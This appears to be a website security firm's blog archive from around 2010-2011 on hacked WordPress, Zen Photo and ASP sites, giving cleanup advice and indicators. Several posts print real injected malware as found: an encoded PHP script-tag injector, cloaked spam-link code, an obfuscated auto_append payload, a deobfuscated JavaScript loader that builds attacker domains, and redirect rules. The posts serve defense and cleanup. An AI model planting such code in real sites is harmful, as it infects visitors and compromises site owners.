Posts Tagged ‘infected website’
Zen Photo exploited to infect websites
Over the past week we’ve been seeing many photographer’s websites infected through an exploit in Zen Photo. Actually it’s not Zen Photo, but the ajaxfilemanager.php file used in the tiny_mce plugin.
Check your websites for the file: ajaxfilemanger.php and rename it or delete it.
In Zen Photo based websites the above file can be found in:
zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager
The file is accessible from a browser which allows anyone to upload files to your website. Quite often we see files on websites with a .jpg or .png extension, which are normally graphic files, but the files we’re concerned with are actually PHP files. The hackers have many ways of renaming these to .php extensions and then they run them and infect the website.
If your website is hosted on a Linux server, you can use a .htaccess file to protect this file with something like:
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /ajaxfilemanager/.*$ [NC] RewriteCond %{REQUEST_FILENAME} ^.+\.php$ RewriteRule .* – [F,NS,L]
Which will prevent remote access to all .php files in the ajaxfilemanager folder.
Depending on what version of Zen Photo, we have seen some config.php files with a line:
define(‘CONFIG_QUERY_STRING_ENABLE’, true);
Which appears to allow you send a string that would tell ajaxfilemanager what configuration file to use. This should be set to false.
You can either rename the ajaxfilemanager folder, delete it, use an .htaccess file or make certain your plugins are updated but you have to do something to protect your website.
The most common file we’ve seen in websites infected through this method is:
/zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc/class.images.php
And it usually has this code:
(opening php tag followed by a long string of blank spaces)$vf=substr(1,1);foreach(array(10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,114,117,101,99,115,115) as $vj[0])…unset($vf);unset($vj);(closing php tag)
It is our understanding that the file name is very similar to legitimate files in the same folder.
We’ve been seeing many other backdoors uploaded with this same exploit so you really should have it examined carefully.
Please leave a comment if you found this interesting, if you have more questions about this or have additional information regarding this infection.
As always, if you need help cleaning this up, call us at (847)728-0214 or email me at traef@wewatchyourwebsite.com
Thank you.
Spam links in WordPress infected websites
We’ve been seeing a lot of spam links in WordPress index.php files. Even the “silence is golden” 30 byte index.php files sprinkled throughout a WordPress installation have been infected.
These infected websites had other malicious code as well, but the index.php files had variations of the following code:
<!– /harew–>
<?
$agent = $_SERVER['HTTP_USER_AGENT'];
if(!eregi(“google”,$agent))
{
?>
<div style=”position:absolute; top:-99999px;”>
<?
}
?>
bedava <a href=”http://sikisizleriz.blogspot.com/”>sikis</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle
bedava <a href=”http://bedavapornocu.blogspot.com/”>porno</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle
bedava <a href=”http://http://grupsikisizle.blogspot.com/”>sex</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle
bedava <a href=”http://fulllezizle.blogspot.com/”>lezbiyen</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle
bedava <a href=”http://sikisizlex.blogspot.com/”>sikis</a> videolarinin bulabileceginiz adrestir tikla sonra git diger sitede sinirsiz video izle
free <a href=”http://freefullsex.blogspot.com/”>sex</a> videos
free <a href=”http://freesexfull.tumblr.com/”>sex</a> videos
</div>
Currently we see about 12,000+ websites infected with this code. These sites are usually infected with a variety of .htaccess file infections as well, so just removing this code will not clean your website.
For instance, many of them have this in their .htaccess files:
php_value auto_append_file /home/path_to_/public_html/websitename/Thumbs.db
This will add (append) whatever is in the Thumbs.db file to files when the page is rendered. This will show the infectious code in Thumbs.db after running the PHP code in Thumbs.db, when you view source on an infected web page, but when you look in the raw code of the index file, the code won’t be there.
This line is usually preceeded by many, many blank lines in an attempt to hide it. Inside the Thumbs.db file is code like:
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSK…;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65″;$eva1tYldakBoVS1r = “\x65\143\x72\160″;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Which is the infectious code delivered to any web page rendered from the folder with the above .htaccess file.
There doesn’t appear to be any common characteristic of the websites infected with this, other than the infected websites we’ve cleaned have all been WordPress. They were already at the current version, some have the vulnerable timthumb.php files, some don’t. Some are using FCKeditor in one way or another and we have seen this as a successful attack vector for quite awhile.
If you have this type of infection, please post a comment with any other information you may have regarding this. Mostly, what plugins you have on your site. Maybe then as a community we can zero in on the root cause.
If you found this post useful or informative, please Tweet about us, like us on Facebook, or just post a comment.
As always, if you need help cleaning this from your website, please send me an email: traef@wewatchyourwebsite.com.
Thank you.
More timthumb.php infections
I don’t like making every announcement of new infections regarding timthumb.php. It feels like everyone is pointing the finger at the author, but I do have to report the recent happenings, so here goes.
The latest website infections we’ve been seeing inject obfuscated script to the bottom of .html files and the index.php file.
The code looks like:
(opening script tag)String.prototype.test="harC";for(i in $='')m=$[i];var ss="";try{eval('asdas')}catch(q)...
n=[7-h,7-h,103-h,100-h,30-h,38-h,98-h,109-h...eval(ss);(closing script tag)
We usually see this at the very bottom of the file. Typically after the closing html tag in an html file.
This code deobfuscates to an iframe that includes:
microsearchstat.com/temp/stat.php
As of this writing, Google does not find this URL suspicious, however:
What is the current listing status for microsearchstat.com? This site is not currently listed as suspicious.
What happened when Google visited this site? Of the 4 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2011-09-02, and the last time suspicious content was found on this site was on 2011-09-02. Malicious software includes 1 trojan(s).
That is for today, September 2, 2011. Which is the same day that Google reports as the last time they found suspicious content.
Again, we’ve cleaned this on WordPress sites with vulnerable timthumb.php files. These really need to be updated.
If your website is listed as having malicious or suspicious content and it’s linked to microsearchstat.com, you might want to look for the code mentioned above.
If you need help cleaning this, please send us an email: support@wewatchyourwebsite.com or call us at (847)728-0214.
Have you spotted this on your website? Let us know…
Websites infected with googlesafebrowsing.com/kwizhveo.php
Here’s another round of infections from the timthumb.php vulnerability.
This time the hackers have registered a new domain: googlesafebrowsing.com (on August 17, 2011) and they are utilizing the timthumb.php and thumb.php files to infect websites.
In the header.php file, we’re finding code that begins with:
This is a dynamic piece of code in that it pulls a new domain from googlesafebrowsing.com/remoted.cc.txt and inserts it into an iframe that's embedded in a section of code that appears on your website. Most of the iframes have .us.to/kwizhveo.php in the URL.
You really should search your themes for any instance of timthumb.php or thumb.php and get the updated file: and replace the existing one.
What we recommend is that your use a safe FTP program like WS_FTP by Ipswitch, login to your website and search the wp-content/themes folder for any instances of timthumb.php or thumb.php. When you find one, rename it by adding .orig to the end of it. That way after adding the new file and testing, if your site doesn't work, you can always move back to the original (.orig) by deleting the new file and renaming the original by taking the .orig extension off.
If you have the thumb.php version it's normally about 18kb in size. If you want to make that file safe without replacing it, download it to your computer and open it with an editor.
Before you make any other changes check the file for code that looks like this:
![]()
If you see that code, then your site is already infected and should be thoroughly cleaned. You should call us: (847)728-0214 or email: support@wewatchyourwebsite.com
However, if you don't see that code and want to modify your existing thumb.php file, scroll down to a section that looks like:
![]()
Change that by deleting the websites listed: flickr.com, picasa.com, etc.
When you're finished it should look like:
![]()
The above steps will keep your site safe from the timthumb.php and thumb.php type of infections on your WordPress website - if you haven't had your WordPress site infected already.
TimThumb WordPress Plugin Leads to Hacked Websites
The WordPress Plugin TimThumb which is primarily used in themes as an image resizing tool, was found to be vulnerable to an attack that could be classified as a remote file inclusion exploit.
TimThumb allows an attacker to retrieve a remote file and saves it to directory that is accessible via a browser. Mark Maunder who is CEO of technology firm Feedjit, based in Seattle, found out the hard way about this vulnerability when his own blog: markmaunder.com was infected by this.
He has provided a good detailed description, for those of you who are technically oriented, on his blog at:
It’s also been reported that the developer of the plugin had his own blog infected via this vulnerability. To his credit, he has been extremely busy in fixing this and has definitely shown responsibility in this matter.
The fix that Mark has suggested is this:
- Edit timthumb.php
- Scroll down to line 27 where it starts: $allowedSites = array(
- Remove all the sites like “blogger.com” and “flickr.com”
- After removing the sites your line should look like: $allowedSites = array();
Save the file and you’re finished. Keep in mind this is for version 1.33. If you’re running an older version, you’ll have to contact the Theme developer and ask them for an update.
Our research shows that some themes use this plugin but the file is not named timthumb.php it could be named:
- thumb.php
- resizer.php
- crop.php
- cropper.php
- and various similar names
Search your files for all these names just to be sure you find it.
If you see a folder/directory named “cache” in your wp-content folder or any of it’s sub-folders, you can add this .htaccess file there which will block running any .php files. Quick backstep: this is typically where this plugin stores the files that a hacker may have uploaded. So even if a hacker were to upload the files to that folder, they cannot run them.
.htaccess:
RewriteEngine On
Order Deny,Allow Deny from all Allow from localhost
Please post a comment here if you’re having issues with this, or for that matter, any other security related issues.
Thank you.
Funnysignage.com and webarh.com website infections
Since this past weekend, 10-9-2010, we’ve been getting many requests from website owners who have had their websites infected with code that redirects visitors to either funnysignage.com or webarh.com. This blog post will show how to clean websites infected with the funnysignage.com or webarh.com redirects.
We’ve cleaned infected websites on Windows servers as well as infected websites on Linux servers and they’ve all been basically the same.
Inside of every folder there is a file named .htaccess. Yes even on Windows. It doesn’t work on websites based on Windows servers, but it’s there. The file contents look like this:
RewriteEngine On
RewriteBase /
RewriteRule ^(.*)? http://funnysignage.com/r.php
For those of you who are infected with the webarh.com redirect, your file contents will look similar, just replace funnysignage.com with webarh.com.
Look in all folders for this file, open the file and if the contents look like above, then delete the file.
You might also find that the index.html files have been replaced, or in some instances, there is an index.html file added to each folder on the website. In any case, you’ll probably find this code somewhere in the index.html file:
(opening script tag)document. location. href='http://funnysignage. com/r.php';(closing script tag)(opening script tag)document. location. href='http://funnysignage. com/r.php';(closing script tag)
You’re reading that correctly. It usually appears twice – and it’s usually at the bottom of the file, outside the closing html tag. Again, for those who have websites infected with the webarh.com redirect, just replace funnysignage.com with webarh.com and that’s what you’ll probably see inside your index.html files.
In many of these website infections, inside the index.php files, they will have been replaced. The contents of the index.php file is nothing more than:
(opening script tag)document.location.href='http://funnysignage.com/r.php';(closing script tag)
Removing the above, will stop your website from redirecting, however, the clean-up isn’t over. In the majority of the cases with the funnysignage.com or webarh.com redirects, we’re also seeing many backdoors placed on the infected websites.
Unfortunately, there is no common strings to search for when looking for backdoors – but, you must find them and delete, otherwise the next website infection will surely find your site as victim.
If you have a known, good back-up of your website, you may want to consider deleting your entire site and restoring from back-up. Please verify that the back-up is not infected.
In cleaning up from this infection, you’ll have to remove many, many files and as stated above, often times, the legitimate files are replaced with nothing more than the above redirect code, so restoring from back-up may just be your only choice.
If this infection starts infecting websites hosted at certain hosting providers and somebody starts blaming a particular large hosting provider(s), don’t believe it. We’ve already seen this infection across many, many different hosting providers and some sites that are on their dedicated server. Please do not think that changing hosting providers will solve this issue.
As best we can tell, the only common factors in the funnysignage.com or webarh.com infections is either the site is running on PHP 4.X, or the website owner, developer, author or someone who has FTP access to the infected website, has a virus that has stolen the FTP credentials.
If you need help in cleaning your website from this, please contact me at: traef@wewatchyourwebsite.com.
riotassistance.ru infections
We’ve been seeing more website infections with a malscript that looks like:
(opening script tag) src="hxxp:// riotassistance.ru /Website.js">(closing script tag)
Note: We’ve also seen this same this but with nuttypiano replacing riotassistance.
Sometimes the last part: Website.js is something else:
Linux.js Megabyte.js
and a few others. The common pattern here is obviously the riotassistance.ru domain and the last part of the URL has an upper-case first letter and is usually some random, but familiar word.
The other identifier is the seemingly useless string immediately following the malscript. In the example above it’s the:
Keep in mind that this will be different for each website, at least from what we’ve seen so far.
This malscript and it’s associated string has been found in index files and files that start with the word main, or in the footer.php file on WordPress sites. The footer.php that will be infected is usually in the theme folder for your site. So if you’re using the default theme, it will be the footer.php file in the theme/default folder on your site.
This same infection has been found in .js files as a document.write at the bottom of the .js file, such as this:
![]()
Time to dig a little deeper…
We find that this domain is registered:
domain: RIOTASSISTANCE.RU nserver: ns1.getyourdns.com. nserver: ns2.getyourdns.com. nserver: ns3.getyourdns.com. nserver: ns4.getyourdns.com. state: REGISTERED, DELEGATED, VERIFIED person: Private Person phone: +7 8482 735000 e-mail: angles@fastermail.ru registrar: NAUNET-REG-RIPN
According to abuse.ch, this registrar has 126 sites that associated to Zeus:
We also find that the above listed email address is only registered on 4 other domains.
As far as cleaning this goes, obviously remove the malscript from your pages or replace the pages with known good backups.
From what we’ve found so far, this website infection happens via stolen FTP credentials. These FTP credentials are stolen by a virus/trojan on a PC that’s been used to FTP files to the infected website.
First, change all FTP passwords – immediately.
Second, run a full virus scan on all PCs used to FTP files to the infected website. This includes developers, authors, etc.
Third, if your site has been listed as suspicious by Google, request a review from the Google Webmaster Tools.
Post here if you have questions or send me an email if you’d like further help in cleaning this up.
Thank you.
toobarcom, mybar, adsnet infections
Over the past week or so, we’ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I’m sorry that it’s taken so long to write about this but we’ve been seeing various new backdoors added to sites and I wanted to fully analyze those before writing this.
What we’re seeing is a malscript inserted either immediately before the legitimate code in certain .js (javascript) files or inserted in html and php files. If it’s in a .js file, you have to be careful because it appears to be part of the entire javascript code. There’s no spaces or line breaks between the malicious code and the legitimate code.
In .html and .php files we’ve usually seen it enclosed by ‘ads’ tags and script tags.
We’ve seen two variations of the malicious code:
The first one starts with:
var st1 = ;this.b=this.M="";this.A="";this.w=false;""...
and ends with:
var gr0=0;
The second starts with:
var st1 = 0;document. write( unescape('%3C%73...
and ends with:
gr0=0;
We’ll examine each one here to let you know what they’re doing.
The first one deobfuscates to this:
var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],e=["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.",
"lox.","lux.","max.","mix.","nix.","oxo.","oxy.","pax.","pix.","pox.","pyx.","rax.",
"rex.","sax.","sex.","six.","sox.","tax.","tux.","vex.","vox.","wax.","xis.","zax."],
f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);
dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+
escape("holycookie")+";expires="+dt.toGMTString()+";path=/";
document. write ('(script tag) src=" hxxp: // '+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)
When looking at this code, you’ll see that is uses a variety of user-agent strings:
- yahoo
- search
- msnbot
- yandex
- googlebot
- bing
- ask
Then creates an array of domains:
- myads.name
- adsnet.biz
- toolbarcom.org
- mybar.us
- freead.name
and then creates an array of prefixes:
- axe.
- box.
- cox.
- dex.
- fax.
- fix.
- fox.
- gox.
- hex.
- kex.
- lax.
- lex.
- lox.
- lux.
- max.
- mix.
- nix.
- oxo.
- oxy.
- pax.
- pix.
- pox.
- pyx.
- rax.
- rex.
- sax.
- sex.
- six.
- sox.
- tax.
- tux.
- vex.
- vox.
- wax.
- xis.
- zax.
When you consider the number of possible combinations of domains and subdomains, this becomes quite clear the hackers were looking to hide their locations.
The final part of the code puts it all together and adds a little more to the URL:
document. write(' (script tag) src="hxxp : //'+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)
adding the ‘/system/caption.js’ to the end of whatever domain string it’s built.
So a typical string after this first code is decoded might look like:
(script tag) type="text/javascript" src="hxxp: //mix.freead.name/system/caption.js">
(script tag)
The second obfuscated string from above, uses the same basic methodology but uses these domains:
- edisonsnightclub.com
- gaindirectory.org
- ideacoreportal.com
- karenegren.com
and appends one of these strings to the front:
- aqua.
- azure.
- black.
- blue.
- brown.
- chocolate.
- coral.
- cyan.
- darkred.
- fuchsia.
- gold.
- gray.
- green.
- indigo.
- ivory.
- khaki.
- lime.
- magenta.
- maroon.
- navy.
- olive.
- orange.
- pink.
- plum.
- purple.
- red.
- silver.
- snow.
- violet.
- white.
- yellow.
This malscript creates a document.write string that uses one of the above prefixes, one of the above domains and adds ‘/data/mootools.js’ to the end to complete the malscript.
If you’re looking for this malscript in your website, please make sure you grab the entire line all the way to ‘var gr0=0;’ (without the quotes) and nothing more. Otherwise, your legitimate code won’t function properly and you’ll have to restore from backup. Which, may not be a bad thing – unless, of course, you don’t have a good backup.
We’re still investigating how this infection starts. At first we thought it was WordPress based sites only. Then we realized that it was also infecting non-Wordpress sites. It might be the old compromised FTP credentials, but we haven’t been able to gather all our data yet. When we do, we’ll post an update here.
We’re also going to post about the backdoors we’ve found and you can search your site for them as well.
Until then, if you’re infected with this or if Google shows any of these domains in your Safe Browsing Diagnostic report (http://www.google.com/safebrowsing/diagnostic?site=), and you’d like us to clean it for you, please send me an email at traef@wewatchyourwebsite.com
Thank you.
Vancouvererrorsonfile infection
Over the past few days we’ve cleaned 312 infected websites all with the script:
(spaces added so it doesn’t set an alarm with your anti-virus program).
As of right now the following sites don’t recognize vancouvererrorsonfile.com as being malicious:
- Norton
- rfc_ignorant
- malc0de
However, McAfee’s SiteAdvisor and hpHosts do recognize it as being malicious.
At first it appeared that it was specific to one or two hosting providers, however as the infection carried on, we found it on at least 12 different hosting provider’s networks.
Looking at the server where this site is hosted, reveals other domains that have been used in various malscripts as well:
- dottasink.net
- nowisisdudescars.com
- onlineisdudescars.com
and a few others.
These domains are all registered by the same person: hilarykneber@yahoo.com. This person is the contact person on whois records for 337 domains.
The name servers for vancouvererrorsonfile.com are:
- ns1.masterhostingit.ru
- ns2.masterhostingit.ru
Our service contiues to see these infections and clean them, even though these domains are not yet registered within Google’s Safe Browsing malware list. They have been submitted.
If you are infected with this, you can contact me at traef@wewatchyourwebsite.com and we will clean it for you.
If you have any other information to submit, please feel free to post comments.
Thank you.
Nutcountry.ru and Parkperson.ru iframes
Over the past week we’ve been seeing a lot of infected websites that have an iframe that contains one of these two URLs:
nutcountry.ru:8080/index.php
parkperson.ru:8080/index.php
A little searching found that approximately 25,000 web pages have the nutcountry.ru:8080/index.php iframe and another 516 web pages reference parkperson.ru:8080/index.php iframe.
What’s interesting is that none of the websites listed in the Google search for either of these two iframes, are listed with “this site may harm your computer” label.
We checked the Google Safe Browsing Diagnostic for nutcountry.ru and it shows:
It appears that Google just listed nutcountry.ru on 8-03-2010 which would explain why the web pages listed in a Google search aren’t showing the warning, “this site may harm your computer”.
And for parkperson.ru we found this:

parkperson.ru Google Safe Browsing Diagnostic page
Shows that as of 8-04-2010, Google has not found this site to be harmful or suspicious.
We attempted to download the files from parkperson.ru, or watch what infection might occur if visited and found that the domain does not exist and neither does nutcountry.ru.
What does all this mean?
It means, that over 25,000 websites were infected, but with an iframe that is harmless because the URL inside the iframe doesn’t go anywhere.
The other interesting aspect of this infection is that all the web pages appear to be ASP code (.asp or .aspx). Based on the location of the harmless iframes, it appears to be another ASPROX infection.
If it is ASPROX, you’ll probably see the iframe in your SQL database. Based on the location of where the iframe appears in the web pages, it’s not a simple iframe injection. The iframe is actually buried in your SQL database. This will make it more difficult to remove. You should consult the services of a database administrator or a security company that knows SQL (yes we do!).
The next thing will be to determine how the code was inserted. This type of infection is referred to SQL injection. This happens when the input from a form or dynamically generated web page isn’t properly sanitized. If there’s a code plugin you’re using, or utilizing some standard software package in your .ASP code, please check for security updates. If you’ve had a programmer create something for you, contact them and have them check over all the code they created for you. Some where on your site you have a SQL injection vulnerability and it needs to be closed.
As stated, this time, the domains included in the iframe don’t exist. However, the next time, your visitors could get infected and your site could be blacklisted by Google and many other services.
If you need assistance with this, please send me an email at traef@wewatchyourwebsite.com.
If you have other information about this infection, please post it as a comment.
Thank you.
